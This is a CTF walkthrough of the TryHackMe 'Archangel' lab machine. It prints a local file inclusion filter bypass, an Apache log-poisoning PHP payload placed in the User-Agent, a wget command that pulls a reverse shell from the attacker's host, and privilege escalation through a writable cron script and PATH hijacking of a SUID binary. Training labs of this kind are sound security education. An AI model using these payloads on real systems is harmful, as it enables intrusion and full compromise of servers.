TryHackMe | Archangel
Despite being marked with a difficulty level of easy, this CTF involved quite a few different techniques. There was local file inclusion, log file poisoning, horizontal and vertical privilege escalation.
Despite being marked with a difficulty level of easy, this TryHackMe CTF room involved quite a few different techniques. There was local file inclusion, log file poisoning, horizontal and vertical privilege escalation.
This room also had a number of flags and answers to find, over and above just gaining privileges on the machine. Task 1 was just about connecting to the VPN and accessing the machine.
Task 2 had questions which helped guide towards the correct exploitation path.
And finally Task 3 was about proving you had the access and could escalate your privileges horizontally and vertically until you had root access.
Gaining a Foot Hold
Port Scanning
──(gareth㉿SRF239-L)-[~/Desktop/Files/Archangel]
└─$ nmap -p- -sV -sC -oN archangel.nmap 10.10.151.155
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 23:53 CET
Nmap scan report for 10.10.151.155
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
With only port 80 and 22 open it was clear to me this CTF was going to invovle some kind of web-based exploit in order to gain access.
Task 2 - Question 1
I opened the website in the browser and noticed an email link at the top which was using the url mafialive.thm. I updated my /etc/hosts
file to make the domain point to the ip address of the box.
Task 2 - Question 2
By opening the website using the hostname, I was able to gain the first flag.
Directory Scan
I ran a gobuster scan for the most commonly found directory/files names, using the hostname rather than the ip address as the url parameter. It returned the following interesting results.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files/Archangel]
└─$ gobuster dir -u http://mafialive.thm -w /usr/share/wordlists/dirb/common.txt -x "php"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://mafialive.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/02/19 00:03:56 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/test.php (Status: 200)
===============================================================
2021/02/19 00:04:35 Finished
===============================================================
Task 2 - Question 3
The gobuster scan above returned a page which was under development, test.php
.
Task 2 - Question 4
From the url in the address bar it was obvious that there was some kind of local file inclusion going on here. The file mrrobot.php
was being included and executed inside test.php
.
I then attempted to traverse the directory structure to see if I could load the /etc/passwd
file, by changing the value of the view variable to ../../../../../../../../../etc/passwd
but this resulted in a message saying "Sorry, Thats not allowed".
In order to determine how best to circumvent this restriction, I thought it would be useful to see the code for the test.php
file itself, and see how the input variable is being checked.
In order to see the contents of the file, rather than executing it in the browser, there's a technique you can use, to encode the contents of the file as base64, and then decode this outside of the application. I entered the following url in the browser and got a long base64 string back.
http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php
Decoding this Base64 string reveals the code for test.php
.
Task 2 - Question 5
The code that sanitizes the View property is checking for the presence of the development_testing
directory and also making sure it does not contain the string ../..
. In order to get around this, we can use the present directory syntax ./
in between our parent directory traversals. So we no longer chain multiple ../
's together. This avoids the check and allows us to traverse up the directory tree.
Log Poisoning
I was able to find the apache access logs by traversing to the following URL, being careful to not chain two ../
's together.
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log
If I view the source code for the content that is returned (it is formatted better) I see the following:
What I can also see, is a string that I can change. My User-Agent. I am able to edit the User-Agent value to anything I like before I send a request to the server. Since I now have the ability to execute the contents of this file inside test.php
, I can make my User-Agent into valid php code, and it will be executed by the server.
I set up burp suite as a proxy server, intercept a request to the website, and change it to the following
GET /test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log HTTP/1.1
Host: mafialive.thm
User-Agent: <?php system($_GET['cmd']); ?> Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
I then load a URL in the address bar and append a new property, &cmd=id
and observe the contents of the access.log
file.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This line shows us that the command has been executed on the server.
Remote Code Execution
Given that the id
command was executed on the server, I can see that I now have remote code execution on the server. Time to get a reverse-shell connection.
I setup a webserver on my local machine, hosting my reverse-shell.php
file on port 8000. I then execute the following URL in the browser, to download my file.
http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=wget http://10.8.145.210:8000/reverse-shell.php
Reverse Shell
This downloads the reverse-shell.php
file to the server. I then setup a local netcat
listener on my machine on port 4444, and navigate to http://mafialive.thm/reverse-shell.php
to get a reverse-shell on the server.
After stabilising my shell using python3, I navigate to the /home
directory, find the only user home directory available and cat
the user.txt
file.
┌──(gareth㉿SRF239-L)-[~/Desktop/Files]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.145.210] from (UNKNOWN) [10.10.135.194] 38020
Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
05:36:03 up 9 min, 0 users, load average: 0.00, 0.21, 0.19
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
www-data@ubuntu:/home$ ls
archangel
www-data@ubuntu:/home$ cd archangel/
www-data@ubuntu:/home/archangel$ ls
myfiles secret user.txt
www-data@ubuntu:/home/archangel$ cat user.txt
thm{REDACTED}
www-data@ubuntu:/home/archangel$
Privilege Escalation
I currently have a shell as the www-data
user, but there exists another user on the system, archangel
which I need to be able to switch to in order to capture the remaining flags.
Task 3 - Question 1
After some enumeration using LinPeas.sh, I see that there is a cronjob being executed as the archangel
user.
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
-rw-r--r-- 1 root root 767 Nov 20 15:00 /etc/crontab
/etc/cron.d:
total 24 SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/1 * * * * archangel /opt/helloworld.sh
My www-data
user has the ability to modify the contents of the /opt/helloworld.sh
file. I update the contents of this file to spawn another reverse-shell to my machine on a different port (4445). Now I can navigate the system as the archangel
user and capture the second flag.
Task 3 - Question 2
The final flag requires root privileges so I start going through my usual manual enumeration, checking for any cronjobs, any binaries with the SUID bit set or any files with capabilities set.
My search for binaries with the SUID bit set reveals that the backup
binary in the archangel
users's home directory is one such file.
archangel@ubuntu:~/secret$ find /* -type f -perm -u=s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
/home/archangel/secret/backup
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
archangel@ubuntu:~/secret$
I decide to run strings
on the backup
binary, to see any human-readable characters contained within it.
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
cp /home/user/archangel/myfiles/* /opt/backupfiles
:*3$"
GCC: (Ubuntu 10.2.0-13ubuntu1) 10.2.0
/usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
:
I notice that the backup
binary is calling the cp
binary to copy some files. Crucially this binary is not being referenced using an absolute path. This means we can create our own version of the cp
binary, and put it on the server's PATH variable and then linux will find and execute our version of cp
instead of the intended one.
archangel@ubuntu:~/secret$ touch cp
archangel@ubuntu:~/secret$ nano cp
archangel@ubuntu:~/secret$ cat cp
#!/bin/bash
/bin/bash
archangel@ubuntu:~/secret$ chmod +x cp
archangel@ubuntu:~/secret$ export PATH=/home/archangel/secret:$PATH
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# cat /root/root.txt
thm{REDACTED}
root@ubuntu:~/secret#
Summary
I enjoyed this box a lot. Even though the questions kind of helped to guide the exploitation method, there was still a lot of techniques involved in finding the flags and achieving the horizontal and vertical privilege escalation.
I didn't have much experience with local file inclusion or log poisoning, so it was good to brush up on my skills with that. It can be a frustrating exploit because if you make any syntax errors in your user-agent then you have to restart the machine and try again. Being meticulous and careful is the name of the game when doing this kind of exploit.